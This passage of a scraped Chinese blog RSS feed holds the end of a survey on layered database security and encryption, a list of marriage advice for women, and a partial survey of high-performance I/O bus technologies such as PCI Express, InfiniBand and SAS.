<P>　　数据库系统的安全性很大程度上依赖于数据库管理系统。如果数据库管理系统安全机制非常强大，则数据库系统的安全性能就较好。目前市场上流行的是关系式数据库管理系统，其安全性功能很弱，这就导致数据库系统的安全性存在一定的威胁。 </P>
<P>　　由于数据库系统在操作系统下都是以文件形式进行管理的，因此入侵者可以直接利用操作系统的漏洞窃取数据库文件，或者直接利用OS工具来非法伪造、篡改数据库文件内容。这种隐患一般数据库用户难以察觉，分析和堵塞这种漏洞被认为是B2级的安全技术措施。 </P>
<P>　　数据库管理系统层次安全技术主要是用来解决这一问题，即当前面两个层次已经被突破的情况下仍能保障数据库数据的安全，这就要求数据库管理系统必须有一套强有力的安全机制。解决这一问题的有效方法之一是数据库管理系统对数据库文件进行加密处理，使得即使数据不幸泄露或者丢失，也难以被人破译和阅读。 </P>
<P>　　我们可以考虑在三个不同层次实现对数据库数据的加密，这三个层次分别是OS层、DBMS内核层和DBMS外层。 </P>
<P>　　⑴ 在OS层加密。在OS层无法辨认数据库文件中的数据关系，从而无法产生合理的密钥，对密钥合理的管理和使用也很难。所以，对大型数据库来说，在OS层对数据库文件进行加密很难实现。 </P>
<P>　　⑵ 在DBMS内核层实现加密。这种加密是指数据在物理存取之前完成加/解密工作。这种加密方式的优点是加密功能强，并且加密功能几乎不会影响DBMS的功能，可以实现加密功能与数据库管理系统之间的无缝耦合。其缺点是加密运算在服务器端进行，加重了服务器的负载，而且DBMS和加密器之间的接口需要DBMS开发商的支持。 </P>
<P>　　定义加密要求工具 </P>
<P>　　DBMS </P>
<P>　　数据库应用系统 </P>
<P>　　加密器 </P>
<P>　　（软件或硬件） </P>
<P>　　⑶ 在DBMS外层实现加密。比较实际的做法是将数据库加密系统做成DBMS的一个外层工具，根据加密要求自动完成对数据库数据的加/解密处理： </P>
<P>　　定义加密要求工具加密器 </P>
<P>　　（软件或硬件） </P>
<P>　　DBMS </P>
<P>　　数据库应用系统 </P>
<P>　　采用这种加密方式进行加密，加/解密运算可在客户端进行，它的优点是不会加重数据库服务器的负载并且可以实现网上传输的加密，缺点是加密功能会受到一些限制，与数据库管理系统之间的耦合性稍差。 </P>
<P>　　下面我们进一步解释在DBMS外层实现加密功能的原理： </P>
<P>　　数据库加密系统分成两个功能独立的主要部件：一个是加密字典管理程序，另一个是数据库加/解密引擎。数据库加密系统将用户对数据库信息具体的加密要求以及基础信息保存在加密字典中，通过调用数据加/解密引擎实现对数据库表的加密、脱密及数据转换等功能。数据库信息的加/解密处理是在后台完成的，对数据库服务器是透明的。 </P>
<P>　　加密字典管理程序 </P>
<P>　　加密系统 </P>
<P>　　应用程序 </P>
<P>　　数据库加解密引擎 </P>
<P>　　数据库服务器 </P>
<P>　　加密字典 </P>
<P>　　用户数据 </P>
<P>　　按以上方式实现的数据库加密系统具有很多优点：首先，系统对数据库的最终用户是完全透明的，管理员可以根据需要进行明文和密文的转换工作；其次，加密系统完全独立于数据库应用系统，无须改动数据库应用系统就能实现数据加密功能；第三，加解密处理在客户端进行，不会影响数据库服务器的效率。 </P>
<P>　　数据库加/解密引擎是数据库加密系统的核心部件，它位于应用程序与数据库服务器之间，负责在后台完成数据库信息的加/解密处理，对应用开发人员和操作人员来说是透明的。数据加/解密引擎没有操作界面，在需要时由操作系统自动加载并驻留在内存中，通过内部接口与加密字典管理程序和用户应用程序通讯。数据库加/解密引擎由三大模块组成：加/解密处理模块、用户接口模块和数据库接口模块。其中，&#8220;数据库接口模块&#8221;的主要工作是接受用户的操作请求，并传递给&#8220;加/解密处理模块&#8221;，此外还要代替&#8220;加/解密处理模块&#8221;去访问数据库服务器，并完成外部接口参数与加/脱密引擎内部数据结构之间的转换。&#8220;加/解密处理模块&#8221;完成数据库加/解密引擎的初始化、内部专用命令的处理、加密字典信息的检索、加密字典缓冲区的管理、SQL命令的加密变换、查询结果的脱密处理以及加脱密算法实现等功能，另外还包括一些公用的辅助函数。 </P>
<P>　　数据加/解密处理的主要流程如下： </P>
<P>　　1) 对SQL命令进行语法分析，如果语法正确，转下一步；如不正确，则转6)，直接将SQL命令交数据库服务器处理。 </P>
<P>　　2) 是否为数据库加/脱密引擎的内部控制命令？如果是，则处理内部控制命令，然后转7)；如果不是则转下一步。 </P>
<P>　　3) 检查数据库加/脱密引擎是否处于关闭状态或SQL命令是否只需要编译？如果是则转6)，否则转下一步。 </P>
<P>　　4) 检索加密字典，根据加密定义对SQL命令进行加脱密语义分析。 </P>
<P>　　5) SQL命令是否需要加密处理？如果是，则将SQL命令进行加密变换，替换原SQL命令，然后转下一步；否则直接转下一步。 </P>
<P>　　6) 将SQL命令转送数据库服务器处理。 </P>
<P>　　7) SQL命令执行完毕，清除SQL命令缓冲区。 </P>
<P>　　以上以一个例子说明了在DBMS外层实现加密功能的原理。 </P>
<P>　　5. 结束语 </P>
<P>　　本文对数据库系统安全防入侵技术进行综述，提出了数据库系统的安全体系三个层次框架，并对三个层次的技术手段展开描述。文中还以在DBMS外层实现加密功能的原理为例，详细说明了如何应用数据库管理系统层次的安全技术。 </P>
<P>　　数据库系统安全框架的三个层次是相辅相承的，各层次的防范重点和所采取的技术手段也不尽相同，一个好的安全系统必须综合考虑核运用这些技术，以保证数据的安全。 <BR></P><img src ="http://www.cnblogs.com/F4ncy/aggbug/199210.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47998/" target="_blank">传诺基亚正在开发Android手机</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>女孩子要做妻子前应该知道的10件事</title><link>http://www.cnblogs.com/F4ncy/archive/2005/06/22/179335.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Wed, 22 Jun 2005 14:25:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/06/22/179335.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/179335.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/06/22/179335.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/179335.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/179335.html</trackback:ping><description><![CDATA[<P>女孩子要做妻子前应该知道的10件事</P>
<P>一：爱人就是爱人，只要去爱，不要拿来比较，不要老说别人的老公如何如何好，别数落他没出息，你是他最亲密的人，你还这么说他，好象不太应该，对大多数男人来说，赞赏和鼓励比辱骂更能让他有奋斗的力量。何况，爱他还忍心伤害他吗？爱他一定要尊重他，再生气也不可以出口伤人，言语的伤口有时一生都在流血的。身体的伤害很容易治愈，精神的伤害后果是可怕的。 </P>
<P>二：不可以整天追问对方爱不爱你。他若真爱你，你不必问；他若不爱你，他已做了你的丈夫，难道他会对自己的妻子明确地承认吗？除非他不想要这段婚姻了。他对你的爱，用心去体会就品味出来了。爱是做出来的，不是说出来的。老挂在口头上不落到实际的爱太苍白无力，婚姻是现实的，生活是现实的，风花雪月的恋爱，不是真实的生活。婚姻是从柴米油盐中感受爱的。 </P>
<P>三：不要摆脸色给对方看，一个生气的女人是很丑陋的。他工作已有许多压力，没有义务回家还要看你的脸色哄你开心。对方性格上会有缺点，生活细节会与你不同，令你不满意，但他怎么可能是完美的，在你面前，他要放下面具，做回自己，做个普通人。宽容是做人和对待婚姻应有的态度。 </P>
<P>四：男人对自己的尊严看得比什么都重要，不管在私下他有多么宠爱你，多么怕你。在人前一定要给足对方面子，让他做天不怕地不怕老婆更不怕的他口中的顶天立地的男子汉，他应该不大会喜欢朋友们开玩笑取笑他怕老婆。除非他有足够的强大后盾和高高在上的身份，可是，我们大多是普通人呀。 </P>
<P>五：男人大多喜欢吹牛，你别戳破他的这个小把戏，他们这么样可以让自己得到一点力量，找到一点自信，好继续人生征程下面的拼搏。虚拟的成就感能让他心情明朗起来不好吗？没人喜欢自己一无所是。和妻子在一起，***是身体的放纵，谈话是心灵的放纵，只要爱人得到快乐，轻松一点装傻附合他一下不是很好吗？ </P>
<P>六：男人骨子里全都喜欢美女，看到美女会目不转睛或回头行注目礼，你别认为他不爱你，也别认为他好色，爱看美女是男人的本能，与品格无关。何况，爱美知心人皆有之。你难道没偷看过帅哥吗？ </P>
<P>七：不要太虚荣，不要太功利，物质的追求是无止境的，你是活自己，不是活给别人看的，鞋子合不合脚只有自个知道，舒服最重要，其它的都是装饰，是虚设。何况俗话说：千金易得，有情郎难寻。真爱无价，情义无价。 </P>
<P>八：男人为何喜欢温柔的女人，因为他们内心很脆弱，不象外表般坚强，他们需要妻子的柔情似水，柔声细语，轻怜蜜爱。知要你有温雅如兰的外表和气质，有吐气如兰的声音，有含情脉脉的眼波，他们很容易化百炼钢为绕指柔的，温瑞安有本书叫《温柔一刀》，温柔，可以杀死一个男人的，对于男人，那是致命的诱惑。 </P>
<P>九：家庭永远是第一，我们固然要对工作负责，要有职业道德，要从工作中得到乐趣，但不要做工作的奴隶，我们工作是为了更快乐地和家人在一起，享受生活，享受生命很重要。</P>
<P>十：爱人的父母就是自己的父母，将心比心，爱屋及屋，老吾老以及人之老，只要内心深处真正感到这就是我自己的父母，心理上对老人依恋亲密，老人回感受到这份真心的。何况，人老了很象孩子，只要象哄孩子般哄老人开心就好了。我们自己也有老的一天。&nbsp; <BR></P><img src ="http://www.cnblogs.com/F4ncy/aggbug/179335.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47996/" target="_blank">7月编程语言排行榜</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>新高性能I/O技术现状和发展趋势综述</title><link>http://www.cnblogs.com/F4ncy/archive/2005/06/22/179312.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Wed, 22 Jun 2005 13:16:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/06/22/179312.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/179312.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/06/22/179312.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/179312.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/179312.html</trackback:ping><description><![CDATA[<P>新高性能I/O技术现状和发展趋势综述</P>
<P>作者：董立平</P>
<P>一、引言</P>
<P>计算机I/O技术在高性能计算技术的发展中始终是一个十分重要的关键技术。其技术特性决定了计算机I/O的处理能力，进而决定了计算机的整体性能以及应用环境。从根本上讲，无论现在还是将来，I/O技术都将制约着计算机技术的应用与发展，尤其在高端计算领域。近年来随着高端计算市场的日益活跃，看似平静的高性能I/O技术之争也愈演愈烈。尤其是当计算机主机速率与总线速率的矛盾日益突出时，新的总线技术便应运而生，演绎出一段段精彩的技术篇章，计算机I/O技术的发展开始让我们眼花缭乱。如PCI Express、InfiniBand、HyperTransport、RapidIO等高性能I/O技术的发展令人注目。而广泛应用于网络存储、高性能集群及并行计算系统的I/O技术，如Fibre Channel、SCSI Parallel Interface（SPI）、Serial Attached SCSI（SAS）、iSCSI等，更使计算机总线技术远远超出&#8220;连接功能部件&#8221;的范畴。本文试图从基本概念、体系结构、功能指标等角度全面分析新近问世的各种高性能I/O技术，以全方位展示其技术特点，帮助有关技术人员把握高性能I/O的技术现状和发展趋势。</P>
<P>二、新一代高性能I/O技术综述</P>
<P>近年来推出的新一代高性能I/O主要有：PCI Express（3GIO）、InfiniBand Architecture（IBA）、Fibre Channel（FC）、HyperTransport、RapidIO、SPI（SCSI Parallel Interface）、SAS（Serial Attached SCSI）、iSCSI、SATA（Serial ATA）等。</P>
<P>（1）PCI Express</P>
<P>PCI Express（3GIO）是一种新型串行Point-to-Point I/O总线体系。其基本目标有两个：一是提供chip-to-chip级互联的局部总线，二是以较低的开销升级现有的PCI架构性能。这一串行总线的根本动机就是通过少许引脚来实现高带宽数据传输，而不是像并行PCI或PCI-X那样。据PCI-SIG（Special Interest Group）最新公布的数据，PCI Express目前可以达到的单路单向速率是2.5Gb/s。也就是说可提供高达200MB/s的带宽，近乎是典型PCI2.2速率的2倍。今后随着硅片技术的不断发展，单路单向的数据传输速率可望突破10Gb/s，几乎达到铜介质数据传输率的极限值。此外，PCI Express通过增加信号线对还可组成X1、X2、X4、X8、X16、X32等多路I/O总线，这样一来其所能达到的峰值带宽简直是无法想像的。在提供了更高带宽的同时，PCI Express还提供了对PCI和PCI-X软件的兼容支持， 和对chip-to-chip级、I/O适配器之间以及对IEEE 1394、USB 2.0等附属接口的支持。</P>
<P>PCI Express的体系结构：PCI Express采用的分层体系结构使其可扩展性、模块化以及重用机制成为可能。它从体系结构上可以分为五层，从上至下分别为物理层、数据链路层、事物处理层、软件层以及Config/OS层。上面三层结构基本上与具体的操作系统无关，并且将来PCI Express速度的提高和编码策略的改变只会影响到物理层的改变。</P>
<P>　　 a.物理层</P>
<P>　　　最基本的物理连接包括两个低电压差分驱动信号对，即接收对和传输对。通过嵌入采用8b/10b编码机制的数据时钟，可以获取很高的数据传输速率。单根信号线可以达到2.5Gb/s的数据传输率。物理层在两个PCI Express代理之间的链路层间传输数据包。　通过增加信号线对，可以线性地扩展PCI Express的带宽。物理层可支持X1、X2、X4、X8、X16以及X32路带宽。</P>
<P>　　 b.数据链路层</P>
<P>　　 数据链路层的首要功能就是确保PCI Express链路上数据包的可靠传输。数据链路层负责数据的完整性和数据包的有序性，通过添加CRC校验序列可以确保数据的准确性。同时PCI Express的数据链路层支持数据包重传机制。</P>
<P>　　　c.事物处理层</P>
<P>　　　事务处理层接收来自软件层的读写请求，并为到链路层的数据传输创建请求包。同时，事务处理层也接收来自数据链路层的响应包，并通过原始的软件层请求予以匹配。所有的包都有惟一的标志来匹配相应的请求和响应。这些包都含有优先权属性选项。事物处理层支持四种类型的地址空间，包括内存地址、I/O地址、配置地址以及消息地址。</P>
<P>　　　d.软件层</P>
<P>　　　PCI Express软件层的主要特性是：PCI软件模型兼容性，包括100％的OS和驱动级兼容，提供PCI枚举、配置和电源管理机制，以及后继应用中的加强性能；面向PCI Express特定扩展的PCI可用性性能等。</P>
<P>PCI Express主要有以下特点：</P>
<P>　　● 相对低开销。在系统级上的开销不大于现有的并行PCI总线架构；为硅片、板卡、连接器等系统成分提供了更为广阔的发展空间。</P>
<P>　　● 支持多市场需求和应用。可以用于移动通信、桌面系统、服务器以及通信设备，也可以用来平衡上述方面的性能和相关特性。</P>
<P>　　● 支持稳定性、可升级性以及可扩展性。可支持未来至少10年的应用和技术，提供了电源管理、QoS、Hot Attache/Detach、RAS等高级特性和性能支持。</P>
<P>　　● 实现了与PCI体系结构和基础部件的高兼容性。一方面，不需要对现有的各种操作系统做任何改变就可以启动系统；另一方面，可利用了现有的系统基础架构而不需要做任何改变。</P>
<P>PCI Express的兼容特性在很大程度上维护了投资者的利益，其高性能又大大刺激了投资者的热情。由此可见，PCI Express技术必将有着更为广阔的发展空间。</P>
<P>（2）InfiniBand</P>
<P>InfiniBand是一种致力于服务器端而不是PC端的高性能I/O技术。随着对称多处理器（SMP）、集群计算、网格计算以及远程备份的广泛应用，基于PCI架构（主要指PCI、PCI-X）的I/O技术的缺陷日益突出，而一旦InfiniBand完全建立起来，它将会使大规模水平伸缩性和集群节点之间I/O的透明共享成为可能。</P>
<P>InfiniBand 从根本上区别于PCI-X的原因在于，后者是严格意义上的局部总线互连技术，而InfiniBand则是一种把网络技术引入I/O体系之中的高级互连技术，它主要用于连接服务器、网络设备和存储设备。InfiniBand用高带宽的交换式网络布局取代基于总线的PCI，并把I/O控制的责任从处理器移到了智能的I/O引擎。其目标不是用来升级现有的PCI总线结构，而是要充分发掘现有PCI-X或PCI Express总线的带宽性能。</P>
<P>InfiniBand所支持的关键特性决定了这种I/O技术远胜过基于局部互连的PCI-X或PCI Express等技术。InfiniBand在硬件中提供了高可靠的传输层级别的数据传输，在导线上支持消息传递和主存语义，且基于I/O通路共享机制的InfiniBand从根本上提供了一种连接计算机的新途径。通过InfiniBand连接大量的服务器可以达到各种存储设备的共享。</P>
<P>InfiniBand的体系结构：InfiniBand标准定义了一套用于系统通信的多种设备，包括信道适配器、交换机和路由器。信道适配器用于InfiniBand结构同其它设备的连接。InfiniBand标准中有两种类型的信道适配器：主信道适配器（HCA）和目标信道适配器（TCA）。HCA提供了一个对Web服务器等主CPU和存储器子系统的接口；而TCA则提供了InfiniBand到I/O设备的连接。交换机是InfiniBand结构中的基本组件。</P>
<P>一个交换机中的InfiniBand端口不止一个，它能根据本地路由器包头中所含的第二层地址将数据包从一个端口送到另外一个端口。交换机只是对数据包进行管理，并不生成或使用数据包。InfiniBand路由器用于将数据包从一个子网传送到另一子网，其间数据包的数量不会变化。与交换机不同，路由器读出第三层的全局路由头（GRH）并根据其Ipv6网络层地址来进行数据包发送。 </P>
<P>InfiniBand结构的关键在于通过采用点到点的交换结构解决了共享总线的瓶颈问题，这种交换结构专门用于解决容错性和可扩展性问题。通过向InfiniBand系统添加交换机可以很容易地实现I/O系统的扩展，进而允许更多的终端设备接入到I/O系统。</P>
<P>与基于共享总线的I/O系统相反，InfiniBand系统的总体带宽会随着所接入交换设备数目的增加而不断提高。此外，通过在InfiniBand子结构之间添加路由设备，还可以更大范围地扩充整个InfiniBand系统。 </P>
<P>除了具有很好的系统扩展性外，InfiniBand在结构上还具有另外两个非常关键亦非常重要的特性：一是低功耗，二是具有箱外带宽（PCB之外的带宽）。物理层低功耗从根本上造就了InfiniBand在集成和RAS方面的优势。同时InfiniBand技术为元件到元件提供了PCB支持，又为底板到底板提供了箱外带宽。而这种箱外带宽使InfiniBand为集群、通信、存储等连接提供了单一规范的互联支持。</P>
<P>目前，InfiniBand是惟一一项既可用于印刷电路板（PCB）又可通过光纤或铜缆提供箱外系统连接的I/O体系结构。此外，为了在一个子结构中管理通信，IBA还定义了一种通信管理方案来负责每一个InfiniBand单元的配置和维护。</P>
<P>InfiniBand的分层结构：如同软件系统的分层结构一样，InfiniBand协议也采用了一种分层结构，并且这些层次之间都是相互独立的。InfiniBand从下至上分了5个层次：物理层、链路层、网络层、传输层以及高层。</P>
<P>a.物理层</P>
<P>　　InfiniBand物理层定义了三种速率的连接，分别为1X、4X和12X，其信号传输速率分别为2.5、10和30Gb/ s。也就是说，IBA允许多路连接直到获得30Gbps的连接速度。由于采用了全双工串行通信方式，单速的双向连接只需要4根电缆，在采用12速方式时，也只需48根电缆线，这是非常具有吸引力的。</P>
<P>b.链路层</P>
<P>　　在InfiniBand体系结构中，链路层与传输层处在IBA的核心位置。链路层提供了局部子系统中的信息包设计、点到点连接操作以及包交换等功能。在包通信一级，指定了两种特殊的包类型，既数据传输和网络管理包。网络管理包提供了设备枚举的操作控制、子网指示、容错等功能；数据传输包则用来传送实际的数据信息。每个包的最大长度为4KB，在每个特定的设备子网内，每个数据包的方向和交换通过本地的16位标识地址的子网管理器完成。</P>
<P>c.网络层</P>
<P>　　InfiniBand的网络层提供了信息包从一个子结构到另外一个子结构的路由机制。源和目的节点的每个路由包有一个全局路由头（GRH）和一个128位Ipv6地址。网络层也嵌入了一个标准的全局64位标识，这个标识在所有的子网中都是惟一的。通过这些标识值之间错综复杂的交换，IBA允许数据跨越多个子网传输。</P>
<P>d.传输层</P>
<P>传输层主要负责信息包的按序分发、分割、通道多路技术以及传输服务等。传输层也负责处理数据包分段的发送、接收和重组。</P>
<P>总结InfiniBand的特性，主要包括以下方面：提供高可靠、低延迟、传输层级的连接；分层协议；基于信息包的通信机制；三种连接速度1X、4X和12X；支持PCB、铜缆、光纤互连；子结构管理协议；远程DMA支持；支持多播以及广播；可靠的传输方法——消息队列机制；通信流控——链路层及终端到终端。基于上述特性，InfiniBand必将成为服务器领域的首选I/O架构。也正因为InfiniBand的卓越性能，使它得到了Dell、HP、IBM、Intel、Microsoft和Sun等世界著名计算机公司的大力支持。</P>
<P>（3）Fibre Channel</P>
<P>Fibre　Channel（光纤通道，FC）是一种高速度、高可靠、低延迟、高吞吐量的串行数据传输接口，它可广泛应用于高性能存储、大规模数据库、存储备份与恢复、集群系统、网络存储系统和数字视频网络等领域。Fibre Channel被称为多种高层数据协议的传输载体，其中尤以传输SCSI和IP数据为主。它作为载体传输高层数据协议的过程，实际上就是一个把高层数据协议映射到FC物理层传输服务的过程。Fibre Channel仅定义了连接外部设备和传输数据信号的物理方面，实现了数据分发与数据内容的有效分离。也就是说，它只关心数据的传输，这就为其传输多种数据类型提供了便利。</P>
<P>Fibre Channel的体系结构：FC定义了三种拓扑结构，既点对点、仲裁环和交换机，这三种结构可互操作。点对点连接是三种结构中最简单的，只须将FC设备的发送光（电）缆与另一个设备接收光（电）缆连接起来就完成了，它可提供最大带宽和全双工连接；仲裁环是FC中最主要，也是最复杂的拓扑结构，它可以无需交换机和中继器就在一个网络结构中连接126个端口。但同一时刻只有一对环端口能够进行通信，且只有在它放弃环控制权后，环中的另外两个结点才能建立起连接；交换机结构有两种开关方式，一是具有低延迟的包开关，二是具有高带宽的电路开关。</P>
<P>在一条连接通道中，交换机可同时建立多条直接连接通道和共享连接链路，既可以同时进行电路交换和分组交换，这正是FC之所以能实现高性能的关键所在。该结构还可以根据需要，通过加入更多并行通路的方式，实现带宽的动态调配。Fibre Channel还定义了专用不间断硬件电路连接、非连接桢交换传输服务、一对多非连接桢交换服务和基于连接的服务等六种称为类服务的通信策略，及以下几种功能管理：设备管理、任务管理、过程登录/注销管理和链接管理。</P>
<P>Fibre Channel的分层结构：FC由从FC-0到FC-4的五层协议栈组成，其各层的大致功能如下：</P>
<P>　　　● FC-0　主要描述物理接口，包括传输介质、链接、发送器、接收器。</P>
<P>　　　● FC-1　主要描述8B/10B编码技术。</P>
<P>　　　● FC-2　主要描述信号传输协议，包括从一个节点到另一个节点传输数据的机制，另外还包括了寻址方法和可能的拓扑结构。FC-2层可以当做一个功能强悍的信息分发服务层。</P>
<P>　　　● FC-3　主要描述有关节点的所有端口服务。</P>
<P>　　　● FC-4 主要描述各种协议的映射，如SCSI、IPI、HIPPI或IP等协议。</P>
<P>　　 Fibre Channel所定义的传输服务主要包含以下特点：</P>
<P>　　a.速度非常高。FC通常在1Gb/s（也就是100MB/s）的速率上运行，目前正朝着2Gb/s和4Gb/s的目标迈进，也就是200MB/s 和400MB/s速率。</P>
<P>　　b.传输距离远。长达10km的光纤连接使远程镜像和备份成为可能，即便是采用铜缆也可以达到30米以上的传输距离。</P>
<P>　　c.可扩展性和高可靠性。可以根据系统的需求灵活地扩展整个系统；其高效的编码和错误校验机制大大提高了数据传输的可靠性。</P>
<P>　　d.具有多方面的灵活性。可以载送多种协议的数据，包括SCSI、IP、ATM以及HIPPI等高层协议的数据；可以支持点到点、专有环结构和交换结构等拓扑结构；可以在单一的拓扑结构中采用光纤、铜缆等多种媒介；通过桥接设备可以实现早期SCSI与以太网的兼容。</P>
<P>（4）HyperTransport</P>
<P>HyperTransport是一种为主板上集成电路互联而设计的高性能总线，它主要定位于硅器件的连接技术，用于在离散的硅器件之间提高可靠性和连接速度，以便为内存控制器、硬盘控制器以及PCI总线控制器之间开拓出更大的带宽。HyperTransport最初由AMD公司研制，主要是面向IT业和电信行业，但对任何需要速度快、响应时间短的应用都适用。</P>
<P>它的设计目标是提供比目前的技术更高的带宽和更短的反应时间，并与标准的PCI总线相兼容。HyperTransport的峰值带宽可以达到51.2GB/s，这种速度极快的总线技术与现有的PCI和正在兴起的InfiniBand形成很好的互补关系。有人认为，HyperTransport必将在下一代服务器和一些通信设备内部互连方面占有一席之地。</P>
<P>HyperTransport的体系结构：HyperTransport采用了一种高速点对点可伸缩的体系结构，它固有的灵活性包含了非对称总线宽度。</P>
<P>这一特性决定了HyperTransport可以采用2、4、8、16和32位的标准总线宽度，以适应特定应用程序的I/O总线特性，支持不同的上行和下行的带宽需求。HyperTransport是一条由数据路径、控制信号和时钟信号组成的双点对点单向链路（一条为输入，一条为输出），两条单向链路的数据带宽可根据数据量的大小而弹性改变，每一条连接都可以从2到32位，且无论发送与接收链路是否等宽，HyperTransport器件都能方便地实现它们的直接连接，非常适合输入带宽与输出带宽不同的情况。</P>
<P>HyperTransport还采用了所谓的差动式数据传输方式，因而其运行电压极低仅为1.2V，这对嵌入式应用是非常有用的。</P>
<P>HyperTransport除了有灵活性、可伸缩性和极高带宽的优点外，还拥有潜在的低实现成本的优势和多设备连接功能。HyperTransport利用它的交换结构，既能提供点到点链接，又能提供可扩充的网络拓扑结构，以支持多级、高度复杂的系统。HyperTransport最多可支持31台设备。</P>
<P>（5）RapidIO</P>
<P>RapidIO是基于数据包交换结构的下一代互连技术，它能在同一协议下同时进行一般情况下的多进程I/O处理和分布式I/O处理，主要定位于超高性能系统中的芯片之间和模块之间的互连。RapidIO将软件透明度、可升级性和芯片尺寸最小化放在优先考虑的位置。RapidIO支持所有的微处理器和I/O配置，其所用的低电压差分信号传输（LVDS）技术能够达到几千兆Hz的速度，并且总线宽度高达16位乃至更多。由于RapidIO协议是由硬件实现的，因此实现了高带宽、低延迟，它可在8位字宽的数据通道上提供10Gb/s的总带宽。</P>
<P>RapidIO 在向单板子系统之间的内部通信提供高速机制方面与HyperTransport技术相似，只是HyperTransport技术能提供更大范围的灵活性和更大的总线带宽。</P>
<P>RapidIO的体系结构：RapidIO是一种脉冲开关协议，它有一个40引脚的端口，该端口具有一个全双向的8位字宽的数据通道。采用标准的低电压差分信号传输技术，可使传输速率达到10Gb/s。数据由一个源同步时钟来传输，并始终在双沿进行采样。这种互连技术可支持四个速度等级：100MHz、250MHz、500MHz和1GHz。它还将支持针对高速设备的16位字宽接口。 </P>
<P>RapidIO的分层结构：RapidIO被定义为三层体系分级结构，即逻辑层、传输层和物理层。逻辑层主要用于界定协议和包格式；传输层主要用于规定路由选择信息；物理层则主要用于定义包传送机制、信息流控制、电器特性和低级错误管理等。</P>
<P>（6）SPI</P>
<P>我们通常所说的SPI（SCSI Parallel Interface）是指并行SCSI，它是SCSI-3协议族中的一员。目前已投入应用的最高版本是SPI的第四代（SPI-4），即商业领域统称的Ultra320 SCSI。目前，SPI的第五代也在不断完善之中。</P>
<P>SPI标准是从最初的SPI-1不断发展起来的。最初的SPI-1只定义了20MHz的总线信号，可提供40MB/s的速率，它在1996年就被SPI-2替代了。SPI-2除了将信号频率由20MHz提升到40MHz外，还定义了一些新的特性，包括低电压差分信号传输、多模式操作和高密度连接器等。1998年推出的SPI-3又在SPI-2的基础上，将信号频率由40MHz提升到80MHz，并定义了循环冗余校验（CRC）、域确认机制、快速仲裁选择（QAS）和包封装SCSI机制。</P>
<P>2001年问世的SPI-4进一步将SPI-3的信号频率由80MHz提升到160MHz，同时增加了读写数据流和流控制机制。</P>
<P>20多年来，SCSI应用的广度和深度都在不断拓展，被誉为总线界的长青树。目前，无论是SPI-4还是SPI-5，在充分继承SCSI传统优势和不断提高信号频率的同时，广泛采用了CRC、包封装SCSI、QAS和流控制等一系列新技术，使并行SCSI的整体性能得到大幅度提高，且更加安全可靠，为并行SCSI更好的应用奠定了坚实的基础。</P>
<P>（7）SAS</P>
<P>SAS（Serial Attached SCSI）是新近问世的一种备受业界关注的高性能串行存储接口技术，它将SATA高效的串行电气接口、光纤通道快速的交换架构和并行SCSI完善的指令系统集于一身。近年来，随着并行存储接口的复杂性不断增加、可扩展性有限、速率很难提高等问题的不断加剧，存储接口的串行化已成为未来高性能I/O技术的大趋势。事实上SAS的多级交换架构也明显地优于并行SCSI、SATA和FC-AL。</P>
<P>SAS的体系结构：SAS草案定义SAS互连结构，即由SAS设备对象（PHY）到SAS端口，再到SAS设备，最后到SAS域。所谓SAS域包含了SCSI域中所有I/O系统，域中的相关设备通过一个服务传输子系统即可进行通信，这就是SAS的基本通信架构。从中可以看出SAS采用的是一种层次化结构。其中包括物理层、SAS设备对象层、连接层、端口层、传输层和SAS顶层。各层的主要功能如下：</P>
<P>　　● 物理层：主要描述具体的互连结构，包括连接器、电缆、底板以及电气特性等。</P>
<P>　　● PHY层：主要描述SAS设备对象（实际上是一个收发器），包括编码、bit序列、PHY复位顺序以及PHY层状态机等。</P>
<P>　　● 连接层：主要描述原语、时钟偏移管理、空闲连接、电源管理、CRC校验、连接层状态机等。</P>
<P>　　●端口层：处在一个或多个连接层与一个或多个传输层之间，每一个端口包含了一个或多个SAS设备对象。</P>
<P>　　● 传输层：主要描述串行SCSI协议、串行ATA隧道协议以及串行管理协议的结构定义。</P>
<P>　　● 最高层：主要描述相关内容的详细特性。</P>
